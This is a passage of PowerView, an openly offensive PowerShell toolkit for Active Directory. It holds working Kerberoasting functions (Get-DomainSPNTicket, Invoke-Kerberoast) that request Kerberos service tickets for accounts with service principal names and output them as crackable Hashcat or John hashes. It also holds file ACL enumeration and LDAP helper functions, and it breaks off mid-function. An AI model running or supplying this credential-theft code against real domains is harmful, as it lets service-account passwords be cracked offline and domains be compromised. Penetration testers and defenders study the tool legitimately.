This function will either take one/more SPN strings, or one/more PowerView.User objects
|
|
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
|
|
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
|
|
portion of the ticket is then extracted and output in either crackable John or Hashcat
|
|
format (deafult of Hashcat).
|
|
|
|
.PARAMETER SPN
|
|
|
|
Specifies the service principal name to request the ticket for.
|
|
|
|
.PARAMETER User
|
|
|
|
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
|
|
|
|
.PARAMETER OutputFormat
|
|
|
|
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
|
Defaults to 'John'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote domain using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
|
|
|
|
Request a kerberos service ticket for the specified SPN.
|
|
|
|
.EXAMPLE
|
|
|
|
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
|
|
|
|
Request kerberos service tickets for all SPNs passed on the pipeline.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
|
|
|
|
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
|
|
|
.INPUTS
|
|
|
|
PowerView.User
|
|
|
|
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.SPNTicket
|
|
|
|
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
|
|
#>
|
|
|
|
[OutputType('PowerView.SPNTicket')]
|
|
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
|
|
Param (
|
|
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
|
|
[ValidatePattern('.*/.*')]
|
|
[Alias('ServicePrincipalName')]
|
|
[String[]]
|
|
$SPN,
|
|
|
|
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
|
|
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
|
|
[Object[]]
|
|
$User,
|
|
|
|
[ValidateSet('John', 'Hashcat')]
|
|
[Alias('Format')]
|
|
[String]
|
|
$OutputFormat = 'Hashcat',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
|
|
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['User']) {
|
|
$TargetObject = $User
|
|
}
|
|
else {
|
|
$TargetObject = $SPN
|
|
}
|
|
|
|
ForEach ($Object in $TargetObject) {
|
|
if ($PSBoundParameters['User']) {
|
|
$UserSPN = $Object.ServicePrincipalName
|
|
$SamAccountName = $Object.SamAccountName
|
|
$DistinguishedName = $Object.DistinguishedName
|
|
}
|
|
else {
|
|
$UserSPN = $Object
|
|
$SamAccountName = 'UNKNOWN'
|
|
$DistinguishedName = 'UNKNOWN'
|
|
}
|
|
|
|
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
|
|
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
|
|
$UserSPN = $UserSPN[0]
|
|
}
|
|
|
|
try {
|
|
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
|
|
}
|
|
if ($Ticket) {
|
|
$TicketByteStream = $Ticket.GetRequest()
|
|
}
|
|
if ($TicketByteStream) {
|
|
$Out = New-Object PSObject
|
|
|
|
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
|
|
|
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
|
|
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
|
|
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
|
|
|
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
|
|
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
|
|
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
|
|
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
|
|
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
|
|
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
|
|
|
|
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
|
|
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
|
|
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
|
|
$Hash = $null
|
|
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
|
} else {
|
|
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
|
|
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
|
|
}
|
|
} else {
|
|
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
|
|
$Hash = $null
|
|
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
|
}
|
|
|
|
if($Hash) {
|
|
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
|
|
if ($OutputFormat -match 'John') {
|
|
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
|
}
|
|
else {
|
|
if ($DistinguishedName -ne 'UNKNOWN') {
|
|
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
}
|
|
else {
|
|
$UserDomain = 'UNKNOWN'
|
|
}
|
|
|
|
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
|
|
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
|
}
|
|
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
|
}
|
|
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
|
$Out
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Invoke-Kerberoast {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
|
|
|
|
Author: Will Schroeder (@harmj0y), @machosec
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses Get-DomainUser to query for user accounts with non-null service principle
|
|
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
|
|
The ticket format can be specified with -OutputFormat <John/Hashcat>.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER OutputFormat
|
|
|
|
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
|
Defaults to 'Hashcat'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Invoke-Kerberoast | fl
|
|
|
|
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
|
|
|
|
.EXAMPLE
|
|
|
|
Invoke-Kerberoast -Domain dev.testlab.local | fl
|
|
|
|
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
|
|
format instead of Hashcat.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
|
|
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
|
|
|
|
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.SPNTicket
|
|
|
|
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.SPNTicket')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[ValidateSet('John', 'Hashcat')]
|
|
[Alias('Format')]
|
|
[String]
|
|
$OutputFormat = 'Hashcat',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$UserSearcherArguments = @{
|
|
'SPN' = $True
|
|
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
|
|
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-PathAcl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the ACL for a given file path.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Enumerates the ACL for a specified file/folder path, and translates
|
|
the access rules for each entry into readable formats. If -Credential is passed,
|
|
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
|
|
|
|
.PARAMETER Path
|
|
|
|
Specifies the local or remote path to enumerate the ACLs for.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target path.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-PathAcl "\\SERVER\Share\"
|
|
|
|
Returns ACLs for the given UNC share.
|
|
|
|
.EXAMPLE
|
|
|
|
gci .\test.txt | Get-PathAcl
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
|
|
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
One of more paths to enumerate ACLs for.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.FileACL
|
|
|
|
A custom object with the full path and associated ACL entries.
|
|
|
|
.LINK
|
|
|
|
https://support.microsoft.com/en-us/kb/305144
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.FileACL')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('FullName')]
|
|
[String[]]
|
|
$Path,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
|
|
function Convert-FileRight {
|
|
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Int]
|
|
$FSR
|
|
)
|
|
|
|
$AccessMask = @{
|
|
[uint32]'0x80000000' = 'GenericRead'
|
|
[uint32]'0x40000000' = 'GenericWrite'
|
|
[uint32]'0x20000000' = 'GenericExecute'
|
|
[uint32]'0x10000000' = 'GenericAll'
|
|
[uint32]'0x02000000' = 'MaximumAllowed'
|
|
[uint32]'0x01000000' = 'AccessSystemSecurity'
|
|
[uint32]'0x00100000' = 'Synchronize'
|
|
[uint32]'0x00080000' = 'WriteOwner'
|
|
[uint32]'0x00040000' = 'WriteDAC'
|
|
[uint32]'0x00020000' = 'ReadControl'
|
|
[uint32]'0x00010000' = 'Delete'
|
|
[uint32]'0x00000100' = 'WriteAttributes'
|
|
[uint32]'0x00000080' = 'ReadAttributes'
|
|
[uint32]'0x00000040' = 'DeleteChild'
|
|
[uint32]'0x00000020' = 'Execute/Traverse'
|
|
[uint32]'0x00000010' = 'WriteExtendedAttributes'
|
|
[uint32]'0x00000008' = 'ReadExtendedAttributes'
|
|
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
|
|
[uint32]'0x00000002' = 'WriteData/AddFile'
|
|
[uint32]'0x00000001' = 'ReadData/ListDirectory'
|
|
}
|
|
|
|
$SimplePermissions = @{
|
|
[uint32]'0x1f01ff' = 'FullControl'
|
|
[uint32]'0x0301bf' = 'Modify'
|
|
[uint32]'0x0200a9' = 'ReadAndExecute'
|
|
[uint32]'0x02019f' = 'ReadAndWrite'
|
|
[uint32]'0x020089' = 'Read'
|
|
[uint32]'0x000116' = 'Write'
|
|
}
|
|
|
|
$Permissions = @()
|
|
|
|
# get simple permission
|
|
$Permissions += $SimplePermissions.Keys | ForEach-Object {
|
|
if (($FSR -band $_) -eq $_) {
|
|
$SimplePermissions[$_]
|
|
$FSR = $FSR -band (-not $_)
|
|
}
|
|
}
|
|
|
|
# get remaining extended permissions
|
|
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
|
|
($Permissions | Where-Object {$_}) -join ','
|
|
}
|
|
|
|
$ConvertArguments = @{}
|
|
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
|
|
|
|
$MappedComputers = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($TargetPath in $Path) {
|
|
try {
|
|
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
|
|
$HostComputer = (New-Object System.Uri($TargetPath)).Host
|
|
if (-not $MappedComputers[$HostComputer]) {
|
|
# map IPC$ to this computer if it's not already
|
|
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
|
|
$MappedComputers[$HostComputer] = $True
|
|
}
|
|
}
|
|
|
|
$ACL = Get-Acl -Path $TargetPath
|
|
|
|
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
|
|
$SID = $_.IdentityReference.Value
|
|
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
|
|
|
|
$Out = New-Object PSObject
|
|
$Out | Add-Member Noteproperty 'Path' $TargetPath
|
|
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
|
|
$Out | Add-Member Noteproperty 'IdentityReference' $Name
|
|
$Out | Add-Member Noteproperty 'IdentitySID' $SID
|
|
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
|
|
$Out
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-PathAcl] error: $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
# remove the IPC$ mappings
|
|
$MappedComputers.Keys | Remove-RemoteConnection
|
|
}
|
|
}
|
|
|
|
|
|
function Convert-LDAPProperty {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper that converts specific LDAP property result fields and outputs
|
|
a custom psobject.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Converts a set of raw LDAP properties results from ADSI/LDAP searches
|
|
into a proper PSObject. Used by several of the Get-Domain* function.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Properties object to extract out LDAP fields for display.
|
|
|
|
.OUTPUTS
|
|
|
|
System.Management.Automation.PSCustomObject
|
|
|
|
A custom PSObject with LDAP hashtable properties translated.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
$Properties
|
|
)
|
|
|
|
$ObjectProperties = @{}
|
|
|
|
$Properties.keys | Sort-Object | ForEach-Object {
|
|
if ($_ -ne 'adspath') {
|
|
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
|
|
# convert all listed sids (i.e. if multiple are listed in sidHistory)
|
|
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
|
|
}
|
|
elseif ($_ -eq 'grouptype') {
|
|
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
|
|
}
|
|
elseif ($_ -eq 'samaccounttype') {
|
|
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
|
|
}
|
|
elseif ($_ -eq 'objectguid') {
|
|
# convert the GUID to a string
|
|
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
|
|
}
|
|
elseif ($_ -eq 'useraccountcontrol') {
|
|
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
|
|
}
|
|
elseif ($_ -eq 'ntsecuritydescriptor') {
|
|
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
|
|
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
|
|
if ($Descriptor.Owner) {
|
|
$ObjectProperties['OwnerSID'] = $Descriptor.Owner
|
|
$OwnerObject = Get-DomainObject $Descriptor.Owner
|
|
$ObjectProperties['OwnerName'] = $OwnerObject.samaccountname
|
|
}
|
|
if ($Descriptor.Group) {
|
|
$ObjectProperties['Group'] = $Descriptor.Group
|
|
}
|
|
if ($Descriptor.DiscretionaryAcl) {
|
|
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
|
|
}
|
|
if ($Descriptor.SystemAcl) {
|
|
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
|
|
}
|
|
}
|
|
elseif ($_ -eq 'accountexpires') {
|
|
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
|
|
$ObjectProperties[$_] = "NEVER"
|
|
}
|
|
else {
|
|
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
|
|
}
|
|
}
|
|
elseif ($_ -eq 'lockouttime') {
|
|
if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
|
|
$ObjectProperties[$_] = "UNLOCKED"
|
|
}
|
|
else {
|
|
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
|
|
}
|
|
}
|
|
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') -or ($_ -eq 'ms-mcs-admpwdexpirationtime')) {
|
|
# convert timestamps
|
|
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
|
# if we have a System.__ComObject
|
|
$Temp = $Properties[$_][0]
|
|
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
|
|
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
|
|
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
|
|
}
|
|
else {
|
|
# otherwise just a string
|
|
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
|
|
}
|
|
}
|
|
elseif ($_ -eq 'logonhours') {
|
|
$ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0]
|
|
}
|
|
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
|
# try to convert misc com objects
|
|
$Prop = $Properties[$_]
|
|
try {
|
|
$Temp = $Prop[$_][0]
|
|
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
|
|
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
|
|
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Convert-LDAPProperty] error: $_"
|
|
$ObjectProperties[$_] = $Prop[$_]
|
|
}
|
|
}
|
|
elseif ($Properties[$_].count -eq 1) {
|
|
$ObjectProperties[$_] = $Properties[$_][0]
|
|
}
|
|
else {
|
|
$ObjectProperties[$_] = $Properties[$_]
|
|
}
|
|
}
|
|
}
|
|
try {
|
|
New-Object -TypeName PSObject -Property $ObjectProperties
|
|
}
|
|
catch {
|
|
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# Domain info functions below.
|
|
#
|
|
########################################################
|
|
|
|
function Get-DomainSearcher {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper used by various functions that builds a custom AD searcher object.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain
|
|
|
|
.DESCRIPTION
|
|
|
|
Takes a given domain and a number of customizations and returns a
|
|
System.DirectoryServices.DirectorySearcher object. This function is used
|
|
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER SearchBasePrefix
|
|
|
|
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the search.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Use SSL Connection to LDAP Server
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSearcher -Domain testlab.local
|
|
|
|
Return a searcher for all objects in testlab.local.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
|
|
|
|
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
|
|
|
|
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
|
|
|
|
.OUTPUTS
|
|
|
|
System.DirectoryServices.DirectorySearcher
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.DirectoryServices.DirectorySearcher')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$SearchBasePrefix,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
